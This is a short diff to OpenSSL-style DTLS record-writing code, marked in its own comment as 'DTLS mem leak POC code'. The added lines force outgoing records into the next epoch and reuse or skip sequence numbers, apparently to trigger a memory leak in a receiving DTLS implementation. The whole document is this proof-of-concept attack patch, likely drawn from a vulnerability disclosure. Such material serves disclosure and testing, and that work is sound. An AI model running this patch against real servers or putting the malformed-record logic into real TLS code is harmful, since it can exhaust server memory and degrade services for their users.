SSL_SESSION *sess;
int bs;
+ /* DTLS mem leak POC code */
+ int force_new_epoch=0;
+
/* first check if there is a SSL3_BUFFER still being written
* out. This will happen with non blocking IO */
if (s->s3->wbuf.left != 0)
(type == SSL3_RT_ALERT && ! SSL_in_init(s))) */
/* there's only one epoch between handshake and app data */
-
- s2n(s->d1->w_epoch, pseq);
+ /* Any new records we write we are going to force into the next epoch */
+ if(s->s3->write_sequence[7]>=4)
+ force_new_epoch=1;
+
+ s2n(s->d1->w_epoch+force_new_epoch, pseq);
/* XDTLS: ?? */
/* else
s2n(s->d1->handshake_epoch, pseq); */
memcpy(pseq, &(s->s3->write_sequence[2]), 6);
+ if(force_new_epoch)
+ pseq[5]=4; /* Force same sequence number, new epoch */
+ else if(pseq[5]==3)
+ pseq[5]=4; /* Force a skipped record */
+
pseq+=6;
s2n(wr->length,pseq);